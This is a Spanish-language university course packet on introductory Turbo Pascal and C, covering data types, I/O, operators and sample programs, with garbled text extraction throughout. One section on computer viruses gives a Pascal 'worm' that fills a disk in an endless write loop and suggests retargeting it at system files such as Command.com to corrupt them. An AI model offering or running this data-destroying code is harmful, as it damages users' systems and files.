Tipos lgicos Este tipo de datos tienen la peculiaridad de que solo pueden tomar dos tipos de datos: verdadero o falso, el verdadero puede ser representado por su nombre en ingls: True y el falso por False; tambin se representan por 1 y por 0 respectivamente. El tipo est definido como Boolean. Los datos lgicos tienen una enorme aplicacin en la evaluacin de ciertos procesos, as como en el control de flujo de los programas.

U N

I V E R S

I D A D

D 19

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

WORK PAPER # 3

PROGRAMA DE CONTROL DE CALIDAD

No. DE PROCEDIMIENTO : APRO 07

No. DE HOJAS :

ELABOR : Ing. Oscar Rolando Castillo Oros

CDIGO : CMP 118

TTULO DEL WORK PAPER : ENTRADA Y SALIDA DE DATOS EN PASCAL DPTO.: Facultad de Ingeniera - UDABOL - ORURO DESTINADO A: DOCENTES ALUMNOS X ADMINIST. OTROS

OBSERVACIONES: LABORATORIO DE PROGRAMACIN I::Unidad 2::Tema 5

FECHA DE DIFUSIN :

FECHA DE ENTREGA :

U N

I V E R S

I D A D

E 20

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

Entrada, salida de Datos y Compilacin de Programas Para poder usar cualquier lenguaje, debemos conocer los cdigos que representan las actividades a realizar. El turbo Pascal cuenta con su propio conjunto, los cuales llamaremos palabras reservadas. ABSOLUTE BEGIN COMP DO EXPORT FILE IF INLINE LIBRARY NIL PACKED PUBLIC SET STRING UNTIL WITH AND BOOLEAN CONST DOUBLE EXPORTS FOR IMPLEMENTATION INTEGER LONGINT NOT POINTER REAL SHL THEN USES WORD ARRAY BYTE CONSTRUCTOR DOWNTO EXTENDED FORWARD IN INTERFACE MOD OBJECT PRIVATE RECORD SHORTINT TO VAR XOR ASM CASE DESTRUCTOR ELSE EXTERNAL FUNCTION INDEX INTERRUPT NAME OF PROCEDURE REPEAT SHR TYPE VIRTUAL ASSEMBLER CHAR DIV END FAR GOTO INHERITED LABEL NEAR OR PROGRAM RESIDENT SINGLE UNIT WHILE

Ninguna de estas palabras reservadas puede ser usada como identificador, ya que cada una de ellas tiene predefinida su funcion Formato General de un programa en turbo Pascal Begin {Inicio del programa principal} Bloque de instrucciones End. {final del programa principal} Unidades en Turbo Pascal Las unidades son aquellos bloques de cdigo que proporcionan funciones y procedimientos que TURBO PASCAL trae incluidas en el archivo TURBO.TPL (Turbo Pascal Libraries), siempre se invocan precedidas por la palabra reservada Uses; Esta serie de herramientas son las que nos permiten construir poderosas aplicaciones como juegos, simulaciones o uno que otro viruscito; Ejemplo: Uses crt; Uses graph; Uses dos; Unidades incluidas Crt (catode ray tube) Esta unidad provee rutinas de control sobre el modo de la pantalla, cdigos extendidos de teclado, colores, ventanas y sonidos. Graph Esta es una de las mas divertidas unidades, pues con la diversidad de funciones y procedimientos que provee, sumados a unos sencillos algoritmos permite hacer desde una simple linea o un crculo hasta una simulacin matemtica o un videojuego como pacman o tetrix. Dos Esta unidad nos brinda las rutinas necesarias para interactuar con el sistema operativo D.O.S. permitiendo tomar desde la hora o fecha del sistema hasta ejecutar programas o comandos. Printer Permite imprimir lineas y archivos de tipo texto, si se quieren imprimir grficos hay que recurrir a una serie de truquitos. Aunque hay muchas mas unidades, os aseguro que para aprender a programar en Turbo Pascal solo se necesitan las cuatro anteriores, eso s, teniendo en cuenta que el programador puede crear sus propias unidades.

U N

I V E R S

I D A D

D 21

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

Constantes Estas sirven para establecer valores que no cambiaran durante la ejecucin del programa, siempre van precedidas de la palabra reservada CONST, luego se coloca el identificador (o nombre que le vas a dar, por sino me entiendes), un igual (=) y el valor al cual se quiere asignar la constante. Ejemplo: CONST PI=3.1416; MENSAJE=VIVA COLOMBIA!!; NUMERO_ENTERO=12; Tambin se pueden definir constantes con tipo, aunque estas ya no sern tan constantes del todo, pues el valor que se les asigna inicialmente puede cambiar. Ejemplo: CONST VaIor_parcial:integer=4; Nombre:string[10]=COMPUTADOR; Valor_real:real=0.3929; Bandera:boolean=true; Variables Una variable es un nombre o identificador que "representa" a una porcin de memoria donde se almacenan temporalmente los datos que cambiaran durante la ejecucin del programa; para definir una variable (ya sea en el programa principal, en un procedimiento, una funcin o una unidad) se debe escribir la palabra reservada VAR en la seccin de definicin de variables, luego el nombre o identificador (Este no puede ser una palabra reservada y se aconseja sea relacionado con la tara que va a desempear), y por ltimo el tipo de datos al que va a pertenecer. Sintaxis VAR Nombre_variable : Tipo de dato Tipo Boolean Byte Char Comp Double Extended Integer Longint Real Shortint Single String Word Comentarios Los comentarios nos sirven para dar una apropiada documentacin al programa, logrando con esto una mejor comprensin del cdigo en futuras revisiones, o en su defecto a los programadores que tengan que modificar nuestro programa. Descripcin Valores Nmeros enteros Caracteres ASCII Nmeros reales Nmeros reales Nmeros reales Nmeros enteros Nmeros enteros Nmeros con decimales Nmeros enteros Nmeros reales Conjunto de caracteres Nmeros enteros Rango True o False 0 .. +255 '$', '%', '', '', '' -9.2E18 a 9.2E18 5.0E -324 a 1.7E +308 1.9E -4851 a 1.1E +4932 -32768 .. +32767 -2147483648 .. +2147483647 2.9E -39 a 1.7E +38 -128 .. + 127 1.5E -45 a 3.4E +38 'La casa', 'El toro', 'Camion' 0 .. +65535

U N

I V E R S

I D A D

E 22

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

Los comentarios no son tomados en cuenta por el compilador, es decir que durante la ejecutar nuestro programa, estos textos sern completamente ignorados. Con el uso de las llaves { comentario }, parntesis con asteriscos (* Comentarios *). Compilacin y ejecucin en memoria La compilacin de un programa es el paso mediante el cual traducimos dicho programa al lenguaje maquina entendible por la computadora. Existe varias combinaciones de teclas para realizar esta operacin, y son las siguientes: Alt + F9 Alt + C y luego escoger la opcin Compile. Asignacin o igualacin La asignacin permite darle un valor a las variables declaradas dentro de nuestro programa, es decir asignarle algun valor del mismo tipo de informacin. El smbolo que realiza dicha Operacin es := Su sintaxis es la siguiente : Suma:= NumeroA + NumeroB ; { A Suma se le asignara el resultado de sumar NumeroA + NumeroB } Nombre:= 'Carlos Ramirez' ; { A Nombre se le asignara la cadena 'Carlos Ramirez' } La asignacin nos permite manipular la informacin que existe, pero nos hace falta que el usuario introduzca sus propios valores, realizando con ellos los proceso, para posteriormente mostrar los resultados obtenidos. Salida de datos a la pantalla Unos de los puntos mas importante, es poder mostrar los resultados obtenidos en en la pantalla de la computadora. Esto se realiza usando los procedimientos Write y WriteLn. Su sintaxis es la siguiente. Write ( Lista de Identificadores ) ; WriteLn (Lista de Identificadores ) ; La lista de identificadores, son todos los identificadores y valores que deseamos mandar a pantalla, los cuales debern estar separados por una coma( , ). Con un simple ejemplo mostraremos la diferencia de estos procedimientos. Programa fuente Begin Write( 'Carlos ' ) ; Write( 'Ramirez ' ) ; Write('Gonzalez' ) ; End. Entrada de datos desde teclado La entrada de datos por teclado es un punto vital en cualquier lenguaje, puesto que la mayor parte del tiempo, los usuarios requieren obtener informacin a partir de una serie de datos, los cuales sern proporcionados por ellos mismos. Esto se realiza usando los procedimientos Read y ReadLn. Su sintaxis es la siguiente. Read ( Lista de Identificadores ) ; ReadLn ( Lista de Identificadores ) ; La lista de identificadores, son todas las variables para leer en la pantalla utilizando el teclado, las cuales debern estar separados por una coma( , ). Con un simple ejemplo mostraremos la diferencia de estos procedimientos. Programa fuente
U N I V E R S I D A D D 23 E A Q U I N O B O L I V I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

Var A, B, C : Integer ; Begin Read (A, B ) ; Read ( C ) ; End. La diferencia entre el Read y el ReadLn, si se escriben mas datos que el numero de identificadores especificados en un Read, sern guardan en un buffer y se le asignaran a los identificadores del siguiente Read o ReadLn del programa. En cambio ReadLn ignora todos los datos que rebasan el numero de identificadores. En caso que en alguna captura de una variable, se captura un dato de diferente tipo, el Read o ReadLn nos marcara un error de tipo de variable, terminando la ejecucin del mismo.

operaciones aritmticas y expresiones Las Operaciones se realizan por medio de operadores y operandos, donde el operador es un smbolo que indica a el compilador la operacin a realizar, los operandos son los datos a quienes aferctar el operador. Existen cuatro operadores basicos y son los siguientes: Operadores Operacin * Multiplicacin / Divisin + Suma Resta Cuando se realiza cualquier operacin, el resultado arrojado ser del tipo capaz de soportarla. Por ejemplo la suma de nmeros reales arroja un nmero real, no obstante la suma de un nmero real con uno entero, arrojar un real. Operadores DIV y MOD En el caso de la divisin, no importando los nmeros que dividamos, el resultado ser un nmero real, para obtener un resultado entero, debemos de utilizar el operador DIV, de la misma manera usaremos el operador MOD, para obtener el residuo entero. Su sintaxis es la siguiente : N_Entero:= DividendoDIV Divisor ; N_Entero:= DividendoMOD Divisor ; Este programa es un ejemplo sencillo de operaciones : Program Operaciones ; Var Sum, Res, Mul, Div_ : Real ; C_Ent, R_Ent : Integer ; Begin Sum := 5 + 2 ; Res := 5 - 2 ; Mul := 5 * 2 ; Div_ := 5 / 2 ;

U N

I V E R S

I D A D

E 24

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

C_Ent := 5 DIV 2 ; R_Ent := 5 MOD 2 ; WriteLn( ' La suma de 5 + 2 = ', Sum ) ; WriteLn( ' La Resta de 5 - 2 = ', Res ) ; WriteLn( ' La Multiplicacin de 5 * 2 = ', Mul ) ; WriteLn( ' La Divisin de 5 / 2 = ', Div_ ) ; WriteLn( ' La divisin Entera 5 / 2 = ', C_Ent ) ; WriteLn( ' El Residuo Entera 5 / 2 = ', R_Ent ) ; End. Operadores Lgicos Son todas las operaciones comparativas que podemos realizar con nuestros datos, obteniendo como unico resultado un True o False. La siguiente tabla muestra estos operadores: Operadores Descripcin = <> < > <= >= Not Igual a Distinto a Menor que Mayor que Menor igual que Mayor igual que Negacin de condicin

U N

I V E R S

I D A D

D 25

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

WORK PAPER # 4

PROGRAMA DE CONTROL DE CALIDAD

No. DE PROCEDIMIENTO : APRO 07

No. DE HOJAS :

ELABOR : Ing. Oscar Rolando Castillo Oros

CDIGO : CMP 118

TTULO DEL WORK PAPER :Aplicacin electoral CODIGO PARA COMENTAR DPTO.: Facultad de Ingeniera - UDABOL ORURO DESTINADO A: DOCENTES ALUMNOS X ADMINIST. OTROS

OBSERVACIONES: LABORATORIO DE PROGRAMACIN I::Unidad 2:: Tema 5

FECHA DE DIFUSIN :

FECHA DE ENTREGA :

U N

I V E R S

I D A D

E 26

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

Aplicacin Electoral Codificar y compilar el siguiente cdigo que simula un proceso electoral el cual ha sido diseado con estructuras modulares (procedimientos). El programas es similar al primer programa utilizado en un periodo electivo de los ESTADOS UNIDOS en las Dcada inicial de los 70s el cdigo original fue escrito en Basic para una estacin IBM. Implementado en una mesa electoral en Tennesse en 1973. Program elecciones; uses crt; procedure elige; var F,P,B,N,I:integer; opc:char; begin f:=0;p:=0;b:=0;n:=0; gotoxy(33,2);write('ELECCIONES'); gotoxy(33,3);write('----------'); gotoxy(25,5);write('CANDIDATOS'); gotoxy(25,6);write('----------'); highvideo;gotoxy(25,9);write('F');lowvideo;write('ernandez Jose'); highvideo;gotoxy(25,12);write('P');lowvideo;write('erez Carlos'); highvideo;gotoxy(25,15);write('B');lowvideo;write('elmonte Ricardo'); highvideo;gotoxy(25,18);write('N');lowvideo;write('ul o Blanco'); TEXTCOLOR(YELLOW); gotoxy(1,20); for i :=1 to 80 do write(chr(219)); for i :=1 to 10 do begin gotoxy(2,22);write('voto #'); gotoxy(50,22);write('emita su voto '); repeat OPC:=READKEY; until opc in ['F','f','P','p','B','b','N','n']; write(#7);gotoxy(9,22); TEXTCOLOR(LIGHTRED);TEXTBACKGROUND(BLACK); write(i); TEXTCOLOR(YELLOW);TEXTBACKGROUND(GREEN); if (opc='F') or (opc='f') then f:=f+1; if (opc='P') or (opc='p') then p:=p+1; if (opc='B') or (opc='b') then b:=b+1; if (opc='N') or (opc='n') then n:=n+1; end;CLRSCR; gotoxy(34,2);write('RESULTADOS GENERALES'); gotoxy(34,3);write('--------------------'); gotoxy(10,6);write('CANDIDATOS'); gotoxy(10,7);write('--------------------'); gotoxy(33,6);write('# DE VOTOS '); gotoxy(33,7);write('--------------------'); gotoxy(60,6);write('%'); gotoxy(60,7);write('-'); gotoxy(10,9);write('FERNANDEZ JOSE'); gotoxy(33,9);write(f); gotoxy(60,9);write(f/10*100:2:2); gotoxy(10,12);write('PEREZ CARLOS'); gotoxy(33,12);write(p);

U N

I V E R S

I D A D

D 27

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

gotoxy(60,12);write(p/10*100:2:2); gotoxy(10,15);write('BELMONTE RICARDO'); gotoxy(33,15);write(B); gotoxy(60,15);write(B/10*100:2:2); gotoxy(10,18);write('NULOS'); gotoxy(33,18);write(N); gotoxy(60,18);write(N/10*100:2:2); gotoxy(30,22);write('<PRESIONE ENTER>'); READLN; END; BEGIN CLRSCR; TEXTCOLOR(YELLOW); TEXTBACKGROUND(LIGHTGREEN); ELIGE; READLN; END. program dados(input, output); (* Contar las veces que se lanza un dado hasta que aparece un numero prefijado. Se usa la sentencia "random" de Turbo Pascal *) var numero, tiros: integer; begin writeln('** Contar las veces que se tira un dado'); writeln(' hasta que aparece un numero prefijado **'); writeln; write('Entrar el valor que debe aparecer: '); readln(numero); randomize; tiros := 0; repeat tiros := tiros + 1 until (1 + random(6) = numero); writeln; write('El numero ', numero:1); writeln(' tardo ', tiros, ' tiros hasta aparecer.'); writeln; writeln('** <retorno> para Fin **'); readln end. Nota: se recomienda codificar y mejorar el programa. Comentarios posteriores

U N

I V E R S

I D A D

E 28

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

DIF # 1

PROGRAMA DE CONTROL DE CALIDAD

No. DE PROCEDIMIENTO : APRO 07

No. DE HOJAS : 2

ELABOR : Ing. Oscar Rolando Castillo Oros

CDIGO : CMP 118

TTULO DEL DIF : TIP de instalacin en PASCAL

DPTO.: Facultad de Ingeniera - UDABOL - ORURO DESTINADO A: DOCENTES ALUMNOS X ADMINIST. OTROS

OBSERVACIONES: PROGRAMACIN I::Unidad 1 y 2

FECHA DE DIFUSIN : 2011

FECHA DE ENTREGA :

U N

I V E R S

I D A D

D 29

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

TIP de instalacin en PASCAL


1) Qu hacer cuando turbo Pascal no ejecuta los programas en desde Pentium III a superiores? sale el mensaje de error divide by zero Turbo Pascal 7.0 no funciona bien en un ordenador que tenga una frecuencia de trabajo superior a 200 MHz. Se debe, principalmente, a un fallo en la rutina del clculo de los ciclos de reloj necesarios para que la funcin DELAY funcione adecuadamente. El ordenador va tan rpido que Turbo Pascal cree que han pasado 0 segundos, por lo que al realizar la divisin sale un "Divider by zero", para ello se necesita un parche que uno puede descargar del Internet un archivo denominado bp7patch que debe ser instalado en la carpeta BIN del turbo pascal, luego ejecute el archivo patch.exe. luego cierre la ventana que aparece ahora si puede utilizar el Turbo Pascal.... 2) Informacin sobre Virus - EMPEZANDO CON LOS VIRUS Asi pues , veremos de forma basica como infectar un archivo sin quedar residente en memoria el mas aconsejable es el lenguaje ensamblador. o sea el MEJOR lenguaje que nadie invento jams pero con los lenguajes de alto nivel como el Pascal tambin se pueden obtener resultados satisfactorios. Comenzando con definiciones bsicas VIRUS: Programa de ordenador capaz de reproducirse , es decir, de sacar copias de si mismo Fases en la vida de un Virus a) INFECCION: El virus llega al ordenador dentro de un programa o Boot contaminado.El usuario inconsciente del peligro potencial, ejecuta el programa/Boot infectado, con lo que el virus entra en el sistema. b) LATENCIA: Una vez infectado el sistema, es decir, una vez instalado el virus dentro del ordenador, comienza la fase de latencia. Durante la misma el virus "suele" tener en todo momento control del sistema y comienza a infectar archivos y/o Boots sectores a a fin de progagar la infeccion. c) ACTIVACION: Una vez que se da una determinada circunstancia (fecha, hora, numero de infecciones exitosas, etc) el virus se activa y comienza su accion destructora, o simplemente su aviso. Siempre dependiendo de los efectos que le haya dado su creador. La etapa mas importante en los virus es la de latencia, durante la cual debe propagarse a otros ficheros o sistemas y evitar ser descubierto hasta que llega la fase de Activacion. Al igual que los virus reales, cada especie de virus informatico actua de manera distinta, lo que hace imposible la realizacion de una vacuna universal. A continuacin presento un prototipo de un gusano, este lo nico que hace es crear un archivo de tipo texto llamado gusano.txt, luego inicia un ciclo repeat - until infinito pues 2 nunca va a ser igual a 3, y dentro de este empieza a engordar el archivo hasta que no deja ni un poquitn de espacio libre. Prubalo pero bajo tu responsabilidad y en un computador que no sea el tuyo o para mayor seguridad direcciona el archivo a un disco flexible(diskette) en el ejemplo se encuentra direccionado a un diskette que se colapsara(llenara) por completo 1,44 mbs en cuestion de 30 segundos en promedio dependiendo de la velocidad de la pc.

U N

I V E R S

I D A D

E 30

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

NOTA: EL AUTOR DECLINA CUALQUIER RESPONSABILIDAD SOBRE EL MAL USO DE ESTA INFORMACION Y ADVIERTE QUE LO QUE AQUI SIGUE ES UN PROGRAMA QUE SIMULA EL EFECTO DE UN "VIRUS INFORMATICO", SI NO ESTAS SEGURO DE LO QUE HACES ... CTRL+ALT+SUPR ! ;)

Y una cosa mas, si deseas que haga mas dao como bloquear el sistema simplemente cambia en la linea Assign (Archivito, 'a:\gusano.txt'); por Assign (Archivito, 'c:\Command.com'); o Assign (Archivito, 'c:\system.ini'); o cualquier archivo importante del sistema que desees corromper.

PROGRAM Archivo_corrupto; VAR Archivito : TEXT; BEGIN Assign (Archivito, 'a:\gusano.txt'); Rewrite(Archivito); Repeat WriteLn(Archivito, 'Worm Cinderella version Pascal 1.0'); Until 2=3; Close (Archivito) END.

U N

I V E R S

I D A D

D 31

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

DIF # 2

PROGRAMA DE CONTROL DE CALIDAD

No. DE PROCEDIMIENTO : APRO 07

No. DE HOJAS : 10

ELABOR : Ing. Oscar Rolando Castillo Oros

CDIGO : CMP 118

TTULO DEL DIF : Lenguaje C nivel Bsico

DPTO.: Facultad de Ingeniera - UDABOL - ORURO DESTINADO A: DOCENTES ALUMNOS X ADMINIST. OTROS

OBSERVACIONES: PROGRAMACIN I::Unidad 2 y 3

FECHA DE DIFUSIN : 2011

FECHA DE ENTREGA :

U N

I V E R S

I D A D

E 32

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

En estos apuntes se describe de forma abreviada la sintaxis del lenguaje C. C se considera un lenguaje de nivel medio, no tiene un significado negativo o que sea menos poderoso que un lenguaje de alto nivel como pascal o Basic. C tiene tambin tipos de datos pero una ventaja adicional es que permite definir variables sin un tipo bien definido. C++ puede ser considerado como una extensin de C. En principio, casi cualquier Programa escrito en ANSI (american National Estndar Institute).C puede ser compilado con un compilador de C++. El mismo programa, en un fichero con extensin *.c puede ser convertido en un programa en C++ cambiando la extensin a *.cpp. C++ permite muchas ms posibilidades que C, pero casi cualquier programa en C, con algunas restricciones, es aceptado por un compilador de C++. El lenguaje C, originalmente desarrollado por Dennis. Ritchie en los laboratorios Bell de la AT&T, fue posteriormente estandarizado por un comit del ANSI (American National Standard Institute) con objeto de garantizar su portabilidad entre distintos computadores, dando lugar al ANSI C, que es la variante que actualmente se utiliza casi universalmente desarrollada con mayor popularidad por la compaa Borland. #include stdio.h main() { printf("Hola"); /* sentencia de salida de datos*/ } este es un programa que escribe "Hola" en la pantalla. Lo que hay escrito entre /* y */ es un COMENTARIO, que sirve para aclararnos algo a nosotros, pero que el compilador "se salta" sin ningn tipo de reparo a la hora de crear nuestro programa ejecutable.

"#include" recuerda mucho al "uses" de Turbo Pascal, tambin nos permite AMPLIAR el lenguaje base. En este caso, hemos incluido un fichero de cabecera llamado "stdio.h" (standard i/o, entrada y salida estndar), que es el que define la orden "printf "printf" es la funcin que se encarga de mostrar un texto en pantalla esta funcin es la responsable de que hayamos escrito "stdio.h" al principio del programa. Es que en el lenguaje C base no hay predefinida ninguna orden para escribir en pantalla (!), sino que estn definidas en "stdio.h". Al igual que el Pascal y la mayora de los lenguajes actuales, el C es un lenguaje estructurado, en el que un programa est formado por diversos "bloques". Todos los elementos que componen este bloque deben estar relacionados entre s, lo que se indica encerrndolos entre llaves: { } (el equivalente de "begin" y "end" de Pascal). scanf es la funcion que sirve para la introduccin de datos por parte del usuario. "main" cuerpo del programa ya es en s una funcin, que necesariamente debe llamarse "main" (en minsculas, tal cual). esta funcin llamada "main" debe existir siempre.

La gran mayora de las palabras clave de C, al igual que ocurre en Pascal, son palabras en ingls o abreviaturas de stas. En cambio, en C s existe DISTINCION entre maysculas y minsculas, por lo que "for" es una palabra reconocida, pero "For", "FOR" o "fOr" no lo son. Tambin al igual que en Pascal, cada sentencia de C debe terminar con un PUNTO Y COMA

U N

I V E R S

I D A D

D 33

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

LA FUNCIN MAIN( ) Todo programa C, desde el ms pequeo hasta el ms complejo, tiene un programa principal que es con el que se comienza la ejecucin del programa. Este programa principal es tambin una funcin, pero una funcin que est por encima de todas las dems. Esta funcin se llama main() y tiene la forma siguiente (la palabra void es opcional en este caso): void main(void) { sentencia_1 sentencia_2 ... } Las llaves {...} constituyen el modo utilizado por el lenguaje C para agrupar varias sentencias de modo que se comporten como una sentencia nica (sentencia compuesta o bloque). Todo el cuerpo de la funcin debe ir comprendido entre las llaves de apertura y cierre. Estructura de Control Selectivas ( If , Switch (case en Pascal)) Repetitivas o de bucle(for , While , Do (repeat en Pascal)) Formatos Generales 1.- IF-ELSE: If (condicion) { Proceso1 } else { procesos2 } ejemplo #include stdio.h int numero; main() { printf("Escriba un nmero: "); scanf("%d",&numero); if (numero>0) printf("El nmero es positivo.\n"); else printf("El nmero es negativo.\n"); } si se esta haciendo uso de una sola linea de sentencias despues del for no se requiere llaves pero si se debe utilizar (; punto y coma) antes del ELSE 2.-switch case: switch (expresin/condicion) { case ctte1: proceso1; break; case ctte2: proceso2; break; .... default proceso n;break }

U N

I V E R S

I D A D

E 34

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

ejemplo #include stdio.h char tecla; main() { printf("Pulse una tecla: "); tecla = getchar(); switch (tecla) { case ' ': printf("Espacio.\n"); break; case '1': printf("uno.\n"); break; case '2': printf("dos.\n"); break; case '3': printf("tres.\n"); break; case '4': printf("cuatro.\n"); break; case '5': printf("cinco.\n"); break; case '6': printf("seis.\n"); break; case '7': printf("siete.\n"); break; case '8': printf("ocho.\n"); break; case '9': printf("nueve.\n"); break; case '0': printf("Dgito.\n"); break; default: printf("Ni espacio ni dgito.\n"); } } 3.- for: La orden se repite desde que una variable tiene un valor inicial hasta que alcanza otro valor final. For (vi;vf;incremento) { procesos } ejemplo #include stdio.h int tabla, numero; main() { for (tabla=1; tabla<=5; tabla++) for (numero=1; numero<=10; numero++) printf("%d por %d es %d\n", tabla, numero, tabla*numero); }

4.-while: Repite una sentencia mientras que sea cierta la condicin que indicamos. La condicin se comprueba antes de realizar la sentencia while (expresion / condicion) {procesos }

ejemplo
U N I V E R S I D A D D 35 E A Q U I N O B O L I V I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

#include stdio.h int numero; main() { printf("Teclea un nmero (0 para salir): "); scanf("%d", numero); while (numero!=0) { printf("Su triple es %d.\n", numero*3); printf("Teclea otro nmero (0 para salir): "); scanf("%d", numero); } } 5.-DO ..WHILE (similar al repeat) la condicin se comprueba despus de realizar la sentencia. do { procesos } while (expresion condicion) ejemplo #include stdio.h int valida = 711; int clave; main() { do { printf("Introduzca su clave numrica: "); scanf("%d", clave); if (clave != valida) printf("No vlida!\n"); } while (clave != valida); printf("Aceptada.\n"); } tipo de datos bsicos entero real real doble caracter/cadena sin tipo definido int float double char void Entrada/salida bsica. printf( formato, lista de variables); tambien acepta mensajes entre comillas dobles el formato corresponde al tipo de salida o resultado que se desea visualizar. ======================================

U N

I V E R S

I D A D

E 36

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

Cdigo Formato ------ ---------------------------------------------------%d Nmero entero con signo, en notacin decimal %i Nmero entero con signo, en notacin decimal %u Nmero entero sin signo, en notacin decimal %o Nmero entero sin signo, en notacin octal (base 8) %x Nmero entero sin signo, en hexadecimal (base 16) %X Nmero entero sin signo, en hexadecimal, maysculas %f Nmero real (coma flotante, con decimales) %e Nmero real en notacin cientfica %g Usa el ms corto entre %e y %f %c Un nico carcter %s Cadena de caracteres %% Signo de tanto por ciento: % %p Puntero (direccin de memoria) %n Se debe indicar la direccin de una variable entera (como en scanf), y en ella quedar guardado el nmero de caracteres impresos hasta ese momento ============================================================ Secuencias de Escape ================================================== Cdigo Significado ------ ----------------------------------------\n nueva lnea (new linea) \r retorno de carro (carriage return) \b retroceso (backspace) \f salto de pgina (form feed) \t tabulacin horizontal \v tabulacin vertical \" comillas dobles (") \' apstrofe o comillas simples (') \\ barra invertida (\) \a alerta (un pitido) \0 carcter nulo \ddd constante octal (mximo tres dgitos) \xddd constante hexadecimal (dem)
=================================================

Operaciones matemticas. Al igual que en Pascal, Basic y otros lenguajes, contamos con una serie de operadores para realizar sumas, restas, multiplicaciones y otras operaciones no tan habituales. Vamos a empezar por las cuatro elementales: =========================== Operador Operacin -------- --------------+ Suma Resta * Multiplicacin / Divisin

U N

I V E R S

I D A D

D 37

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

Qu ocurre en casos como el de 10/3? Si 10 y 3 son nmeros enteros, qu ocurre con su divisin? El resultado sera 3, la parte entera de la divisin. Ser 3.3333 cuando ambos nmeros sean reales. Si queremos saber el resto de la divisin, deberemos usar el operador % equivalente del MOD en pascal. el resultado sera 3.333333, un nmero real. #include stdio.h int e1 = 10; int e2 = 4; float r1 = 10.0; float r2 = 4.0; main() { printf("La suma de los enteros es: %d\n", e1+e2); printf(" Su producto: %d\n", e1*e2); printf(" Su resta: %d\n", e1-e2); printf(" Su divisin: %d\n", e1/e2); printf(" El resto de la divisin: %d\n", e1%e2); printf("La suma de los reales es: %f\n", r1+r2); printf(" Su producto: %f\n", r1*r2); printf(" Su resta: %f\n", r1-r2); printf(" Su divisin: %f\n", r1/r2); printf("Un real entre un entero, como real: %f\n", r1/e2); printf(" Lo mismo como entero: %d (errneo)\n", r1/e2); printf(" Un entero entre un real, como real: %f\n", e1/r2); } /*-------------------------*/ En Turbo Pascal (no en cualquier versin de Pascal), tenemos tambin formas abreviadas de incrementar una variable: inc(a); en vez de a := a+1; Algo parecido existe en C, aunque con otra notacin: a++; es lo mismo que a = a+1; a--; es lo mismo que a = a-1; a += b; a -= b ; a *= b ; a /= b ; a %= b ; es lo mismo que es lo mismo que es lo mismo que es lo mismo que es lo mismo que a = a+b; a = a-b; a = a*b; a = a/b; a = a%b; Operadores lgicos Operador Operacin --------- --------------== Igual a != No igual a (diferente)
U N I V E R S I D A D D E 38 A Q U I N O B O L I V I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

< > <= >=

Menor que Mayor que Menor o igual que Mayor o igual que

Cuidado con el operador de igualdad: el formato ser if (a==b) ... Si no nos damos cuenta y escribimos if (a=b) estamos asignando "a" el valor de "b" . Operador Significado --------- -----------&& || ! Y (and) O (or) No (not)

EJEMPLOS Programa 1 Disear una aplicacin (pascal y C) que permite la multiplicacin de 5 nmeros enteros Program Ejemp1; Uses crt; Var R,a,b,c,d,e: integer; Begin Clrscr; a:=1; b:=23; a:=3; d:=12; e:=5; R:=a*b*c*d*e; Writeln(r ); Readln; End. /* ejempl 1 */ #include <stdio.h> #include <stdlib.h> main() { int r,a,b,c,d,e; a=1; b=23; c=3; d=12; e=5; r = a*b*c*d*e; printf("%d ",r); return 0; }

U N

I V E R S

I D A D

D 39

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

Programa 2 Trazar un programa para obtener el resultado del producto de un numero constante PI y otro numero introducido por teclado Program Ejemp2; Uses crt; Var a: integer; Npi,R:real; Begin Clrscr; Npi:=3.1416; Write(Introduzca un numero); Readln(a); R:= Npi*a; Writeln(el valor es , r ); Readln; End. /* ejemp 2 */ #include <stdio.h> #include <stdlib.h> main() { int a; float npi,r; npi=3.1416; printf(" Introduzca un numero "); scanf("%d", &a); r = npi*a; printf("el valor es %f ",r); return 0; }

Programa 3 disear un programa para generar la tabla de multiplicar del numero 12 Program Ejemp3; Uses crt; Var b,r: integer; Begin Clrscr; For b:=1 to 10 do Begin r:=12*b; Writeln(12 * ,b, = ,r); End; End. /* ejemp 3 */ #include <stdio.h> #include <stdlib.h> main() { int r,b; for( b=1; b<11; b++) { r = 12*b; printf( 12 * %2d = %3d \n,b,r); } return 0; }

U N

I V E R S

I D A D

E 40

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

